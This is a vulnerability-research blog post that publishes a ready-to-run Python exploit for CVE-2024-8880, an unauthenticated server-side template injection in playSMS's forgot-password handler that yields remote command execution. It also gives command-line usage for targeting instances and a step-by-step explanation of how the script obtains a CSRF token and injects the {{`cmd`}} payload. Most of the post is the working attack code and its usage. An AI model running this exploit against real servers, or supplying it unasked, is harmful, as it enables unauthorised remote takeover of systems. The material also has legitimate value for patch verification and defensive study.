Novel Exploit — SSTI to RCE in playSMS (CVE-2024–8880)

vsociety
3 min readSep 19, 2024

--

by@secatgourity

Screenshots from the blog posts

Summary

In this post, we will be understanding the SSTI exploit against playSMS leading to RCE. We will understand how to use the exploit to target vulnerable instances and also understand the inner working of the script.

  1. import argparse
  2. import requests
  3. import re
  4. import urllib3
  5. # Disable SSL verification warning for simplicity
  6. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  7. def validate_url(url):
  8. if not url.startswith(“http://”) and not url.startswith(“https://”):
  9. raise ValueError(“Invalid URL schema. Use ‘http://’ or ‘https://'.")
  10. def get_csrf(session, url):
  11. try:
  12. response = session.get(url, timeout = 10, verify = False)
  13. if response.status_code == 200:
  14. return extract_csrf(response.text)
  15. return None
  16. except requests.RequestException as e:
  17. print(f”[-] Request failed: {e}”)
  18. return None
  19. def extract_csrf(body):
  20. match = re.search(r’name=”X-CSRF-Token” value=”([a-z0–9]+)”’, body)
  21. if match:
  22. return match.group(1)
  23. return None
  24. def exploit(url, cmd):
  25. session = requests.Session()
  26. csrf = get_csrf(session, f”{url}/index.php?app=main&inc=core_auth&route=forgot”)
  27. if not csrf:
  28. print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
  29. return
  30. url = f”{url}/index.php?app=main&inc=core_auth&route=forgot&op=forgot”
  31. try:
  32. response = requests.post(url,
  33. data = {
  34. “X-CSRF-Token”: csrf,
  35. “username”: “{{`” + cmd + “`}}”,
  36. “email”: “”,
  37. “captcha”: “”
  38. }, timeout = 5, verify = False)
  39. if response.status_code == 200 and (“{{`” + cmd + “`}}”) not in response.text:
  40. print(“[+] The playSMS instance seems to be vulnerable to CVE-2024–8880.”)
  41. print(“[*] Command Output:”)
  42. print(response.text.split(“username”)[1].split(“\n”)[0].split(“value=”)[1].strip(“\r\n’\”\t “).split(“‘ maxlength=100”)[0].strip())
  43. return
  44. except requests.RequestException as e:
  45. print(f”[-] LOG: An error occurred during the exploitation: {e}”)
  46. print(“[-] The playSMS instance seems NOT to be vulnerable to CVE-2024–8880.”)
  47. def main():
  48. parser = argparse.ArgumentParser(description=”Novel exploit for CVE-2024–8880.”)
  49. parser.add_argument(“ — url”, required = True, help = “URL to send requests to.”)
  50. parser.add_argument(“ — cmd”, required = False, default = “id”, help = “Command to execute.”)
  51. args = parser.parse_args()
  52. validate_url(args.url)
  53. exploit(args.url.rstrip(“/”), args.cmd)
  54. if __name__ == “__main__”:
  55. main()

Description

Introduction

A vulnerability classified as critical has been found in playSMS 1.4.4/1.4.5/1.4.6/1.4.7. Affected is an unknown function of the file /playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot of the component Template Handler. The manipulation of the argument username/email/captcha leads to code injection. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The project maintainer was informed early about the issue. Investigation shows that playSMS up to 1.4.3 contained a fix but later versions re-introduced the flaw. As long as the latest version of the playsms/tpl package is used, the software is not affected. Version >=1.4.4 shall fix this issue for sure.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-8880

Exploit Script Usage

kali@kali:/tmp$ python3 exploit.py -h                             
usage: exploit.py [-h] --url URL [--cmd CMD]

Novel exploit for CVE-2024-8880.

options:
-h, --help show this help message and exit
--url URL URL to send requests to.
--cmd CMD Command to execute.

kali@kali:/tmp$

Exploiting Vulnerable Targets

python3 exploit.py --url http://playsms.local --cmd COMMAND_TO_EXECUTE

Understanding exploit script

The exploit script works as follows:

  1. Read user input (the URL to target and the command to be executed).
  2. The supplied URL is then validated.
  3. If the URL is valid, it is passed to the exploit() function along with the command to be executed.
  4. Next, the CSRF token is fetched from the page by sending a GET request.
  5. Once the CSRF token is retrieved, a POST request is sent to /index.php?app=main&inc=core_auth&route=forgot&op=forgot. In the submitted request, the username parameter contains the SSTI payload {{`id`}} which executes the id command (Unix).
  6. If the CSRF isn’t retrieved or the response status isn’t 200, or the response contains the username reflected back, the target is reported to be potentially NOT vulnerable.
  7. Else the target is reported as potentially vulnerable and the response is parsed and shown with the output for the command.

Tags

#RCE#exposed_to_RCE_attack#trendingCVE#novel#unauthenticated#template-injection#cybersecurity-trends#novel-exploit#playSMS#server-side-template-injection

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet